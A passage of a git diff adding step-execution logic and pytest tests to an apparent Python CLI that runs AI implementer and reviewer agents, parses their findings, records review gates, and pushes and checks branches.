"--vendor", + vendor, + ] + if round_num is not None: + args.extend(["--round", str(round_num)]) + main_mod.cmd_agent(args) + + +def _agent_finish(agent_id: str, verdict: str, *, note: str | None = None) -> None: + from . import main as main_mod + + args = ["finish", "--id", agent_id, "--verdict", verdict] + if note is not None: + args.extend(["--note", note]) + main_mod.cmd_agent(args) + + +def _gate_record( + *, + tid: str, + stage: str, + dimension: str, + vendor: str, + verdict: str, + head: str, + agent_id: str, + evidence: str | None = None, +) -> None: + from . import main as main_mod + + args = [ + "record", + "--task", + tid, + "--stage", + stage, + "--dimension", + dimension, + "--vendor", + vendor, + "--verdict", + verdict, + "--head", + head, + "--agent", + agent_id, + ] + if evidence is not None: + args.extend(["--evidence", evidence]) + main_mod.cmd_gate(args) + + +def _check_record( + *, + tid: str, + name: str, + command: str, + result: str, + output: str, +) -> None: + from . import main as main_mod + + main_mod.cmd_check( + [ + "record", + "--task", + tid, + "--name", + name, + "--command", + command, + "--result", + result, + "--output", + output, + ] + ) + + +def _close_step( + *, + tid: str, + key: str, + evidence: str, + head: str | None = None, + source: str = "script", +) -> None: + from . import main as main_mod + + args = [ + "--task", + tid, + "--key", + key, + "--source", + source, + "--evidence", + evidence, + ] + if head: + args.extend(["--head", head]) + main_mod.cmd_close_step(args) + + +def _interpret_lane( + role: str, result: LaneResult +) -> tuple[str, str | None]: + """Return (decision, findings_text) from one LaneResult. + + decision: pass | fail | retry + findings_text: non-None when fail (for gate evidence). + Pass/fail/retry are derived from the same parsed result (no dual compute). + """ + if role == "implementer": + if result.status == "complete": + return "pass", None + return "retry", None + # reviewer / pr-reviewer-* + if result.status != "complete": + return "retry", None + stdout = result.stdout or "" + # No FINDINGS: header → unparseable (retry), not an automatic pass. + if not findings_header_present(stdout): + return "retry", None + n = count_findings(stdout) + if n == 0: + return "pass", None + return "fail", stdout.strip() or "findings" + + +def _reset_keys(store: Any, tid: str, keys: tuple[str, ...], *, evidence: str) -> None: + checklist = { + str(r["key"]): str(r["status"]) + for r in store.rows("checklist_item") + if r.get("task_id") == tid + } + for key in keys: + if checklist.get(key) == "ja": + _checklist_set(tid, key, "nein", evidence=evidence) + + +def _resolve_gate_head( + store: Any, + tid: str, + head: str | None, + *, + cwd: str | None = None, + exec_argv: Callable[..., Any] | None = None, +) -> str: + """Resolve a git SHA for gate record: explicit head, pushed evidence, or HEAD.""" + if head and _SHA_RE.fullmatch(head.lower()): + return head.lower() + from . import main as main_mod + + snap = main_mod._chain_snapshot(store, tid, extra_head=head) + snap_head = str(snap.get("head_sha") or "").strip().lower() + if snap_head and _SHA_RE.fullmatch(snap_head): + return snap_head + for row in store.rows("checklist_item"): + if row.get("task_id") != tid or row.get("key") != "pushed": + continue + if row.get("status") != "ja": + continue + ev = str(row.get("evidence") or "").strip().lower() + # evidence may be the bare sha or "run auto:" / "pushed " + for token in ev.replace(":", " ").split(): + if _SHA_RE.fullmatch(token): + return token + if cwd and exec_argv is not None: + completed = exec_argv(["git", "rev-parse", "HEAD"], cwd=cwd) + sha = str(getattr(completed, "stdout", "") or "").strip().lower() + if completed.returncode == 0 and _SHA_RE.fullmatch(sha): + return sha + return "" + + +def _apply_rejection_resets( + store: Any, + tid: str, + role: str, + *, + round_cap: int, + evidence: str, +) -> RunOutcome: + """Reset checklist keys then round-start, or fail on cap (no reset).""" + task = store.row("task", tid) + current = int((task or {}).get("current_round") or 0) + if current >= round_cap: + cap_msg = f"round cap {round_cap} reached (current_round={current})" + # Persist reason in the ledger (check fail also sets task state failed). + _check_record( + tid=tid, + name="round-cap", + command=f"round_cap={round_cap}", + result="fail", + output=cap_msg, + ) + return RunOutcome( + kind="failed", + reason=cap_msg, + message=cap_msg, + ) + if role == "reviewer": + _reset_keys(store, tid, _REVIEWER_REJECT_RESET_KEYS, evidence=evidence) + else: + _reset_keys(store, tid, _PR_REJECT_RESET_KEYS, evidence=evidence) + _round_start(tid) + return RunOutcome( + kind="rejected_new_round", + key="reviewer_approved" if role == "reviewer" else None, + reason=f"{role} rejected", + verdict="rejected", + message=f"{role} rejected; new round started", + ) + + +def _finish_agent_pass( + store: Any, + tid: str, + *, + role: str, + vendor: str, + round_num: int | None, + head: str | None, + result: LaneResult, + step: Step, + cwd: str | None = None, + exec_argv: Callable[..., Any] | None = None, +) -> RunOutcome: + from . import main as main_mod + + working = main_mod._find_working_agent( + store, tid, role=role, vendor=vendor, round_num=round_num + ) + if working is None: + return RunOutcome( + kind="failed", + key=step.key, + reason="working agent not found after lane", + lane_result=result, + message="working agent not found after lane", + ) + agent_id = str(working["id"]) + if role == "implementer": + _agent_finish(agent_id, "done", note="lane STATUS=complete") + verd = "done" + else: + _agent_finish(agent_id, "approved", note="lane STATUS=complete findings=0") + verd = "approved" + if role in ("pr-reviewer-quality", "pr-reviewer-logic"): + dim = "quality" if role.endswith("quality") else "logic" + stage = "grok-pr" if vendor == "grok" else "codex-pr" + gate_head = _resolve_gate_head( + store, tid, head, cwd=cwd, exec_argv=exec_argv + ) + if not gate_head: + return RunOutcome( + kind="failed", + key=step.key, + reason="head_sha missing for gate record", + lane_result=result, + message="head_sha missing for gate record", + ) + _gate_record( + tid=tid, + stage=stage, + dimension=dim, + vendor=vendor, + verdict="approved", + head=gate_head, + agent_id=agent_id, + ) + head = gate_head + snap = main_mod._chain_snapshot(store, tid, extra_head=head) + wf = str(snap["workflow"]) + verdict = close_allowed( + wf, + step.key, + checklist=snap["checklist"], + source="script", + evidence="run auto", + snapshot=snap, + ) + if not verdict.allowed: + return RunOutcome( + kind="not_closable", + key=step.key, + reason=verdict.reason, + step=step, + lane_result=result, + head_sha=head, + message=verdict.reason, + ) + evidence = f"run auto:{verdict.reason}" + _close_step(tid=tid, key=step.key, evidence=evidence, head=head) + return RunOutcome( + kind="agent_closed", + key=step.key, + step=step, + lane_result=result, + head_sha=head, + close_evidence=evidence, + verdict=verd, + ) + + +def _finish_agent_fail( + store: Any, + tid: str, + *, + role: str, + vendor: str, + round_num: int | None, + head: str | None, + result: LaneResult, + step: Step, + findings_text: str, + round_cap: int, + cwd: str | None = None, + exec_argv: Callable[..., Any] | None = None, +) -> RunOutcome: + from . import main as main_mod + + working = main_mod._find_working_agent( + store, tid, role=role, vendor=vendor, round_num=round_num + ) + if working is None: + return RunOutcome( + kind="failed", + key=step.key, + reason="working agent not found after lane", + lane_result=result, + message="working agent not found after lane", + ) + agent_id = str(working["id"]) + evidence = findings_text[:8000] or "findings" + _agent_finish(agent_id, "rejected", note="lane findings") + if role in ("pr-reviewer-quality", "pr-reviewer-logic"): + dim = "quality" if role.endswith("quality") else "logic" + stage = "grok-pr" if vendor == "grok" else "codex-pr" + gate_head = _resolve_gate_head( + store, tid, head, cwd=cwd, exec_argv=exec_argv + ) + if not gate_head: + return RunOutcome( + kind="failed", + key=step.key, + reason="head_sha missing for gate record", + lane_result=result, + message="head_sha missing for gate record", + ) + _gate_record( + tid=tid, + stage=stage, + dimension=dim, + vendor=vendor, + verdict="rejected", + head=gate_head, + agent_id=agent_id, + evidence=evidence, + ) + out = _apply_rejection_resets( + store, tid, role, round_cap=round_cap, evidence=evidence + ) + out.lane_result = result + out.key = step.key + return out + + +def _lane_retry_then_fail( + store: Any, + tid: str, + *, + role: str, + vendor: str, + round_num: int | None, + head: str | None, + step: Step, + spec_file: str, + cwd: str, + tmux: bool, + runner: Any, + first: LaneResult, + round_cap: int, + exec_argv: Callable[..., Any] | None = None, +) -> RunOutcome: + """Re-invoke launch once; on second unparseable/non-pass, fail the task.""" + second = launch( + role=role, + vendor=vendor, + spec_file=spec_file, + cwd=cwd, + runner=runner, + tmux=tmux, + ) + decision2, findings2 = _interpret_lane(role, second) + if decision2 == "pass": + return _finish_agent_pass( + store, + tid, + role=role, + vendor=vendor, + round_num=round_num, + head=head, + result=second, + step=step, + cwd=cwd, + exec_argv=exec_argv, + ) + if decision2 == "fail" and findings2 is not None: + out = _finish_agent_fail( + store, + tid, + role=role, + vendor=vendor, + round_num=round_num, + head=head, + result=second, + step=step, + findings_text=findings2, + round_cap=round_cap, + cwd=cwd, + exec_argv=exec_argv, + ) + out.lane_results = [first, second] + return out + # A missing/misconfigured vendor CLI surfaces as LaneResult(status="unavailable"), + # not OSError (env execs fine, only the target binary fails) — an external, fixable + # problem. Leave the task untouched for retry; only genuinely unparseable/ambiguous + # output (status != "unavailable") still fails the task per the mechanical rule below. + if second.status == "unavailable": + return RunOutcome( + kind="vendor_unavailable", + key=step.key, + reason=f"vendor CLI unavailable ({vendor} {role})", + lane_result=second, + lane_results=[first, second], + message=f"vendor CLI unavailable ({vendor} {role})", + ) + + # Still genuinely unparseable / ambiguous → fail task. Also release the + # still-working agent so `agent round start` isn't blocked for a later + # manual recovery attempt. + from . import main as main_mod + + working = main_mod._find_working_agent( + store, tid, role=role, vendor=vendor, round_num=round_num + ) + if working is not None: + verdict = "blocked" if role == "implementer" else "rejected" + _agent_finish( + str(working["id"]), + verdict, + note=f"lane retry exhausted (status={second.status})", + ) + + combined = ( + f"--- attempt 1 STATUS={first.status} ---\n{(first.stdout or '')}\n" + f"--- attempt 2 STATUS={second.status} ---\n{(second.stdout or '')}" + )[:8000] + _check_record( + tid=tid, + name=f"{role}-{vendor}", + command=f"lane {role} {vendor}", + result="fail", + output=combined or "(no output)", + ) + # check record with fail already sets task state failed + return RunOutcome( + kind="failed", + key=step.key, + reason="lane retry exhausted", + lane_result=second, + lane_results=[first, second], + message="lane retry exhausted", + ) + + +def execute_spine_step( + store: Any, + tid: str, + *, + head: str | None = None, + dry_run: bool = False, + spec_file: str | None = None, + cwd: str | None = None, + tmux: bool = True, + runner: Any = None, + round_cap: int = DEFAULT_ROUND_CAP, + exec_argv: Callable[..., Any] | None = None, +) -> RunOutcome: + """Execute the single open spine step for tid. No print/die/SystemExit.""" + from . import main as main_mod + + if exec_argv is None: + exec_argv = main_mod._exec_argv + + task = store.row("task", tid) + if task is None: + return RunOutcome(kind="failed", reason=f"unknown task: {tid}") + + snap = main_mod._chain_snapshot(store, tid, extra_head=head) + wf = str(snap["workflow"]) + ready = next_steps(wf, snap["checklist"], spine_only=True) + if not ready: + return RunOutcome(kind="idle") + + step = ready[0] + if dry_run: + return RunOutcome( + kind="dry_run", + key=step.key, + step=step, + head_sha=head, + ) + + if step.kind == "human": + # error-fix carve-out for spec_written is handled by the fixer before + # calling this function; interactive run still treats it as human. + return RunOutcome( + kind="human_required", + key=step.key, + step=step, + reason=f"human must close {step.key}", + ) + + if step.key == "pushed": + run_cwd = cwd or os.getcwd() + from .git_act import GitActError, push_branch + + try: + sha = push_branch( + cwd=run_cwd, + runner=lambda argv: exec_argv(argv, cwd=run_cwd), + ) + except GitActError as exc: + return RunOutcome( + kind="failed", + key=step.key, + step=step, + reason=str(exc), + message=str(exc), + ) + if head is not None: + want = head.lower() + if want != sha and not ( + 7 <= len(want) < len(sha) and sha.startswith(want) + ): + return RunOutcome( + kind="failed", + key=step.key, + step=step, + reason=f"--head {head} does not match pushed sha {sha}", + message=f"--head {head} does not match pushed sha {sha}", + ) + head = sha + snap = main_mod._chain_snapshot(store, tid, extra_head=head) + + evidence: str | None = None + if step.key == "mergeable": + run_cwd = cwd or os.getcwd() + from .git_act import GitActError, measure_mergeable + + try: + expected = str(snap.get("head_sha") or head or "").strip() or None + evidence = measure_mergeable( + cwd=run_cwd, + runner=lambda argv: exec_argv(argv, cwd=run_cwd), + expected_head=expected, + ) + except GitActError as exc: + return RunOutcome( + kind="failed", + key=step.key, + step=step, + reason=str(exc), + message=str(exc), + ) + + if step.key in NO_AUTO_CLOSE: + return RunOutcome( + kind="not_closable", + key=step.key, + step=step, + reason=f"{step.key} is not auto-closable", + head_sha=head, + ) + + if step.key == "local_check_pass" and not snap["local_checks"]: + run_cwd = cwd or os.getcwd() + env_cmd = os.environ.get("AGENT_CHECK_COMMAND") + if env_cmd is None: + command = "pytest -q" + elif env_cmd == "": + return RunOutcome( + kind="failed", + key=step.key, + step=step, + reason="AGENT_CHECK_COMMAND is set but empty", + message="AGENT_CHECK_COMMAND is set but empty", + ) + else: + command = env_cmd + argv = shlex.split(command) + if not argv: + return RunOutcome( + kind="failed", + key=step.key, + step=step, + reason="check command is empty", + message="check command is empty", + ) + completed = exec_argv(argv, cwd=run_cwd) + result = "pass" if completed.returncode == 0 else "fail" + output = ((completed.stdout or "") + (completed.stderr or ""))[:8000] + _check_record( + tid=tid, + name="local", + command=command, + result=result, + output=output or "(no output)", + ) + if result == "fail": + return RunOutcome( + kind="local_check_failed", + key=step.key, + step=step, + message="local_check fail", + ) + snap = main_mod._chain_snapshot(store, tid, extra_head=head) + + if step.kind == "agent": + already = close_allowed( + wf, + step.key, + checklist=snap["checklist"], + source="script", + evidence="run auto", + snapshot=snap, + ) + if already.allowed: + close_evidence = f"run auto:{already.reason}" + _close_step(tid=tid, key=step.key, evidence=close_evidence, head=head) + return RunOutcome( + kind="closed", + key=step.key, + step=step, + head_sha=head, + close_evidence=close_evidence, + ) + if spec_file is None: + return RunOutcome( + kind="agent_handoff", + key=step.key, + step=step, + head_sha=head, + reason="agent step needs --spec-file or finished artifact", + ) + spec_path = Path(spec_file) + if not spec_path.is_file(): + return RunOutcome( + kind="failed", + key=step.key, + step=step, + reason=f"spec-file not found: {spec_file}", + message=f"spec-file not found: {spec_file}", + ) + if not spec_path.read_text(encoding="utf-8").strip(): + return RunOutcome( + kind="failed", + key=step.key, + step=step, + reason=f"spec-file is empty: {spec_file}", + message=f"spec-file is empty: {spec_file}", + ) + run_cwd = cwd or os.getcwd() + role = str(step.role or "") + vendor = str(step.vendor or "") + session_id = str(snap.get("session_id") or "") + # Re-read task: round may have changed + task = store.row("task", tid) or task + current_round = int(task.get("current_round") or 0) + round_num: int | None = None + if role in ("implementer", "reviewer"): + round_num = current_round + working = main_mod._find_working_agent( + store, tid, role=role, vendor=vendor, round_num=round_num + ) + if working is None: + _agent_start( + session_id=session_id, + tid=tid, + role=role, + vendor=vendor, + round_num=round_num, + ) + # OSError propagates to caller (fixer catches; cmd_run surfaces). + result = launch( + role=role, + vendor=vendor, + spec_file=spec_file, + cwd=run_cwd, + runner=runner, + tmux=tmux, + ) + decision, findings_text = _interpret_lane(role, result) + if decision == "pass": + out = _finish_agent_pass( + store, + tid, + role=role, + vendor=vendor, + round_num=round_num, + head=head, + result=result, + step=step, + cwd=run_cwd, + exec_argv=exec_argv, + ) + out.lane_results = [result] + return out + if decision == "fail" and findings_text is not None: + out = _finish_agent_fail( + store, + tid, + role=role, + vendor=vendor, + round_num=round_num, + head=head, + result=result, + step=step, + findings_text=findings_text, + round_cap=round_cap, + cwd=run_cwd, + exec_argv=exec_argv, + ) + out.lane_results = [result] + return out + # retry once + return _lane_retry_then_fail( + store, + tid, + role=role, + vendor=vendor, + round_num=round_num, + head=head, + step=step, + spec_file=spec_file, + cwd=run_cwd, + tmux=tmux, + runner=runner, + first=result, + round_cap=round_cap, + exec_argv=exec_argv, + ) + + # Script step: close if allowed + close_ev = evidence if step.key == "mergeable" else "run auto" + verdict = close_allowed( + wf, + step.key, + checklist=snap["checklist"], + source="script", + evidence=close_ev, + snapshot=snap, + ) + if not verdict.allowed: + return RunOutcome( + kind="not_closable", + key=step.key, + step=step, + reason=verdict.reason, + head_sha=head, + message=verdict.reason, + ) + close_evidence = ( + evidence if step.key == "mergeable" else f"run auto:{verdict.reason}" + ) + _close_step(tid=tid, key=step.key, evidence=str(close_evidence), head=head) + return RunOutcome( + kind="closed", + key=step.key, + step=step, + head_sha=head, + close_evidence=close_evidence, + ) diff --git a/tests/test_fixer_act.py b/tests/test_fixer_act.py new file mode 100644 index 0000000..45e51af --- /dev/null +++ b/tests/test_fixer_act.py @@ -0,0 +1,452 @@ +"""Tests for the error-fix fixer driver (fixer_act) and related run_core wiring.""" + +from __future__ import annotations + +import os +import uuid +from pathlib import Path + +import pytest + +from agent_cli.fixer_act import _drive_one, _runner_to_completed +from agent_cli.git_act import GitActError +from agent_cli.lane import LaneResult, findings_header_present +from agent_cli.runtime import Completed +from agent_cli.store import Store +from test_cli import _last_task_id, run +from test_run import ( + _checklist, + _finish_implementer, + _finish_reviewer, + _local_checks, + _task_state, +) + + +ERROR_ID = "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa" + + +def _store(home: Path) -> Store: + os.environ["AGENT_HOME"] = str(home) + return Store(home) + + +def _gates(home: Path, tid: str) -> list[dict]: + store = _store(home) + try: + return [r for r in store.rows("review_gate") if r.get("task_id") == tid] + finally: + store.close() + + +def _bootstrap_error_fix_task( + home: Path, capsys: pytest.CaptureFixture[str] +) -> str: + """Create an error-fix-originated implement task; leave at implementer_done open.""" + run(home, ["init"]) + run( + home, + [ + "session", + "register", + "--id", + "sess-1", + "--kind", + "human", + "--skill", + "spine", + "--skill", + "review-loop", + "--skill", + "pr-review", + "--skill", + "error-fix", + ], + ) + store = _store(home) + try: + store.write( + "activity", + "insert", + ERROR_ID, + { + "id": ERROR_ID, + "session_id": "sess-1", + "type": "error.seen", + "payload": { + "fingerprint": "api|TimeoutError|abc|prod", + "repo": "org/app", + "service": "api", + "class": "TimeoutError", + }, + "execution_status": "done", + }, + ) + store.write( + "activity", + "insert", + "fix-1", + { + "id": "fix-1", + "session_id": "sess-1", + "type": "error.fix", + "payload": { + "error_id": ERROR_ID, + "fingerprint": "api|TimeoutError|abc|prod", + "brief": "Timeout in handler; add retry.", + }, + "execution_status": "pending", + }, + ) + finally: + store.close() + + run( + home, + [ + "task", + "create", + "--session", + "sess-1", + "--workflow", + "implement", + "--error-id", + ERROR_ID, + "--title", + "Fix timeout", + ], + ) + tid = _last_task_id(capsys.readouterr().out) + run( + home, + [ + "close-step", + "--task", + tid, + "--key", + "session_registered", + "--source", + "script", + "--evidence", + "session register", + ], + ) + run( + home, + [ + "close-step", + "--task", + tid, + "--key", + "spec_written", + "--source", + "script", + "--evidence", + "auto spec from error.fix brief", + ], + ) + run(home, ["round", "start", "--task", tid]) + worktree = home / "error-fix-work" / tid + worktree.mkdir(parents=True, exist_ok=True) + (worktree / ".spec.md").write_text("# Task\n\nfix it\n", encoding="utf-8") + capsys.readouterr() + return tid + + +def _advance_error_fix_to_pushed( + home: Path, + tid: str, + capsys: pytest.CaptureFixture[str], + monkeypatch: pytest.MonkeyPatch, +) -> None: + _finish_implementer(home, tid, capsys) + run(home, ["run", "--task", tid]) + _finish_reviewer(home, tid, capsys) + run(home, ["run", "--task", tid]) + capsys.readouterr() + monkeypatch.setattr( + "agent_cli.main._exec_argv", + lambda argv, *, cwd=None: Completed(0, "ok", ""), + ) + run(home, ["run", "--task", tid]) + capsys.readouterr() + assert _checklist(home, tid)["local_check_pass"] == "ja" + + +def test_findings_header_present_distinguishes_absent() -> None: + assert findings_header_present("STATUS: complete\n") is False + assert findings_header_present("STATUS: complete\nFINDINGS: none\n") is True + assert findings_header_present("FINDINGS:\n- a real finding\n") is True + + +def test_fixer_threads_pushed_head_into_pr_gate( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """After pushed, the fixer must record PR gates with a real non-empty head_sha.""" + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + + pushed_sha = "abcdef1234567890abcdef1234567890abcdef12" + + def fake_push(*, cwd: str, runner): # type: ignore[no-untyped-def] + return pushed_sha + + def fake_launch(**kwargs): # type: ignore[no-untyped-def] + role = str(kwargs.get("role") or "pr-reviewer-quality") + vendor = str(kwargs.get("vendor") or "grok") + return LaneResult( + role=role, + vendor=vendor, + status="complete", + argv=[vendor], + returncode=0, + stdout="STATUS: complete\nFINDINGS: none\n", + stderr="", + ) + + monkeypatch.setattr("agent_cli.git_act.push_branch", fake_push) + monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) + monkeypatch.setattr( + "agent_cli.fixer_act.insert_pr_open_and_scan", + lambda *a, **k: [], + ) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + _drive_one( + store, + task, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + finally: + store.close() + + gates = _gates(tmp_path, tid) + assert gates, "expected at least one PR-review gate after pushed" + for g in gates: + assert g.get("head_sha"), f"gate missing head_sha: {g}" + assert str(g["head_sha"]).lower() == pushed_sha + assert _checklist(tmp_path, tid)["pushed"] == "ja" + + +def test_fixer_local_check_exec_uses_worktree_cwd( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """local_check_pass via the fixer must invoke exec with the task worktree as cwd.""" + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _finish_implementer(tmp_path, tid, capsys) + run(tmp_path, ["run", "--task", tid]) + _finish_reviewer(tmp_path, tid, capsys) + run(tmp_path, ["run", "--task", tid]) + capsys.readouterr() + assert _checklist(tmp_path, tid)["local_check_pass"] != "ja" + + worktree = tmp_path / "error-fix-work" / tid + assert worktree.is_dir() + captured: dict[str, object] = {} + + def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + captured["cwd"] = cwd + captured["argv"] = list(argv) + return Completed(0, "ok\n", "") + + monkeypatch.setattr("agent_cli.fixer_act._runner_to_completed", fake_rtc) + # Stop after local_check: pushed fails so the driver does not continue. + monkeypatch.setattr( + "agent_cli.git_act.push_branch", + lambda **kwargs: (_ for _ in ()).throw( + GitActError("stop-after-local-check") + ), + ) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + result = _drive_one( + store, + task, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + ) + finally: + store.close() + + assert _checklist(tmp_path, tid)["local_check_pass"] == "ja" + assert any(c.get("result") == "pass" for c in _local_checks(tmp_path, tid)) + assert captured.get("cwd") == str(worktree) + assert "failed" in result + assert _checklist(tmp_path, tid).get("pushed") != "ja" + + +def test_fixer_vendor_unavailable_leaves_task_untouched( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """LaneResult(status=unavailable) on both attempts must not fail the task.""" + tid = _bootstrap_error_fix_task(tmp_path, capsys) + before_state = _task_state(tmp_path, tid) + before_checklist = _checklist(tmp_path, tid) + calls = {"n": 0} + + def fake_launch(**kwargs): # type: ignore[no-untyped-def] + calls["n"] += 1 + role = str(kwargs.get("role") or "implementer") + vendor = str(kwargs.get("vendor") or "grok") + return LaneResult( + role=role, + vendor=vendor, + status="unavailable", + argv=[vendor], + returncode=127, + stdout="", + stderr="command not found", + ) + + monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + result = _drive_one( + store, + task, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + finally: + store.close() + + assert calls["n"] == 2 + assert "vendor-cli-unavailable" in result + assert _task_state(tmp_path, tid) != "failed" + assert _task_state(tmp_path, tid) == before_state + assert _checklist(tmp_path, tid).get("implementer_done") == before_checklist.get( + "implementer_done" + ) + + +def test_fixer_retries_pr_open_across_scans_after_insert_failure( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """Failed pr.open insert must retry on the next scan once pushed is already ja.""" + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + + pushed_sha = "abcdef1234567890abcdef1234567890abcdef12" + insert_calls = {"n": 0} + head = f"error-fix-{ERROR_ID[:8]}" + + def fake_push(*, cwd: str, runner): # type: ignore[no-untyped-def] + return pushed_sha + + def fake_launch(**kwargs): # type: ignore[no-untyped-def] + role = str(kwargs.get("role") or "pr-reviewer-quality") + vendor = str(kwargs.get("vendor") or "grok") + return LaneResult( + role=role, + vendor=vendor, + status="complete", + argv=[vendor], + returncode=0, + stdout="STATUS: complete\nFINDINGS: none\n", + stderr="", + ) + + def flaky_insert(store, *, session_id, payload, runner): # type: ignore[no-untyped-def] + insert_calls["n"] += 1 + if insert_calls["n"] == 1: + raise OSError("github temporarily unavailable") + # Mirror real insert_pr_open_and_scan enough for the ledger-derived retry check. + activity_id = str(uuid.uuid4()) + store.write( + "activity", + "insert", + activity_id, + { + "id": activity_id, + "session_id": session_id, + "type": "pr.open", + "payload": payload, + "execution_status": "pending", + }, + ) + return [] + + monkeypatch.setattr("agent_cli.git_act.push_branch", fake_push) + monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) + monkeypatch.setattr("agent_cli.fixer_act.insert_pr_open_and_scan", flaky_insert) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + first = _drive_one( + store, + task, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + assert "pr.open-error" in first + assert _checklist(tmp_path, tid)["pushed"] == "ja" + origin = store.device_id() + pr_rows = [ + r + for r in store.rows("activity") + if r.get("_origin_device_id") == origin + and r.get("type") == "pr.open" + and isinstance(r.get("payload"), dict) + and r["payload"].get("head") == head + ] + assert pr_rows == [] + + task = store.row("task", tid) + assert task is not None + _drive_one( + store, + task, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + pr_rows_after = [ + r + for r in store.rows("activity") + if r.get("_origin_device_id") == origin + and r.get("type") == "pr.open" + and isinstance(r.get("payload"), dict) + and r["payload"].get("head") == head + ] + assert pr_rows_after, "second scan must create the pr.open row" + finally: + store.close() + + assert insert_calls["n"] == 2 + + +def test_runner_to_completed_honors_cwd(tmp_path: Path) -> None: + completed = _runner_to_completed( + lambda _argv: Completed(1, "", "runner-should-not-run"), + ["pwd"], + cwd=str(tmp_path), + ) + assert completed.returncode == 0 + assert completed.stdout.strip() == str(tmp_path) + + +def test_runner_to_completed_without_cwd_uses_runner() -> None: + seen: list[list[str]] = [] + + def runner(argv: list[str]) -> Completed: + seen.append(list(argv)) + return Completed(0, "from-runner", "") + + completed = _runner_to_completed(runner, ["echo", "hi"], cwd=None) + assert completed.stdout == "from-runner" + assert seen == [["echo", "hi"]] diff --git a/tests/test_run.py b/tests/test_run.py index efdbf54..8c371f6 100644 --- a/tests/test_run.py +++ b/tests/test_run.py @@ -305,7 +305,7 @@ def fake_launch(**kwargs): # type: ignore[no-untyped-def] stderr="", ) - monkeypatch.setattr("agent_cli.main.launch", fake_launch) + monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) run( tmp_path, [ @@ -343,7 +343,7 @@ def fake_launch(**kwargs): # type: ignore[no-untyped-def] stderr="", ) - monkeypatch.setattr("agent_cli.main.launch", fake_launch) + monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) run( tmp_path, [ @@ -387,9 +387,10 @@ def test_run_missing_spec_file_does_not_leave_working_agent( assert not any(a.get("status") == "working" for a in _agents(tmp_path, tid)) -def test_run_spec_file_reviewer_complete_no_auto_approve( +def test_run_spec_file_reviewer_complete_auto_approves( tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch ) -> None: + """STATUS: complete + FINDINGS: none → auto-approve reviewer_approved.""" tid = _bootstrap_implement(tmp_path, capsys) _finish_implementer(tmp_path, tid, capsys) run(tmp_path, ["run", "--task", tid]) # implementer_done @@ -398,6 +399,53 @@ def test_run_spec_file_reviewer_complete_no_auto_approve( spec.write_text("review this\n", encoding="utf-8") def fake_launch(**kwargs): # type: ignore[no-untyped-def] + return LaneResult( + role="reviewer", + vendor="grok", + status="complete", + argv=["grok"], + returncode=0, + # Explicit FINDINGS header with zero items (not header-absent). + stdout="STATUS: complete\nFINDINGS: none\n", + stderr="", + ) + + monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) + run( + tmp_path, + [ + "run", + "--task", + tid, + "--spec-file", + str(spec), + "--no-tmux", + "--cwd", + str(tmp_path), + ], + ) + capsys.readouterr() + assert _checklist(tmp_path, tid)["reviewer_approved"] == "ja" + assert any( + a.get("role") == "reviewer" and a.get("status") == "done" + for a in _agents(tmp_path, tid) + ) + + +def test_run_spec_file_reviewer_complete_without_findings_header_retries_then_fails( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """STATUS: complete with no FINDINGS: header is unparseable → retry then fail.""" + tid = _bootstrap_implement(tmp_path, capsys) + _finish_implementer(tmp_path, tid, capsys) + run(tmp_path, ["run", "--task", tid]) # implementer_done + capsys.readouterr() + spec = tmp_path / "review-spec.md" + spec.write_text("review this\n", encoding="utf-8") + calls = {"n": 0} + + def fake_launch(**kwargs): # type: ignore[no-untyped-def] + calls["n"] += 1 return LaneResult( role="reviewer", vendor="grok", @@ -408,7 +456,52 @@ def fake_launch(**kwargs): # type: ignore[no-untyped-def] stderr="", ) - monkeypatch.setattr("agent_cli.main.launch", fake_launch) + monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) + with pytest.raises(SystemExit) as exc: + run( + tmp_path, + [ + "run", + "--task", + tid, + "--spec-file", + str(spec), + "--no-tmux", + "--cwd", + str(tmp_path), + ], + ) + assert exc.value.code != 0 + assert calls["n"] == 2 # initial + one retry + assert _checklist(tmp_path, tid)["reviewer_approved"] != "ja" + assert _task_state(tmp_path, tid) == "failed" + + +def test_run_spec_file_vendor_unavailable_exits_nonzero( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """LaneResult(status=unavailable) on both attempts → exit 2, task left open.""" + tid = _bootstrap_implement(tmp_path, capsys) + _finish_implementer(tmp_path, tid, capsys) + run(tmp_path, ["run", "--task", tid]) # implementer_done + capsys.readouterr() + spec = tmp_path / "review-spec.md" + spec.write_text("review this\n", encoding="utf-8") + calls = {"n": 0} + + def fake_launch(**kwargs): 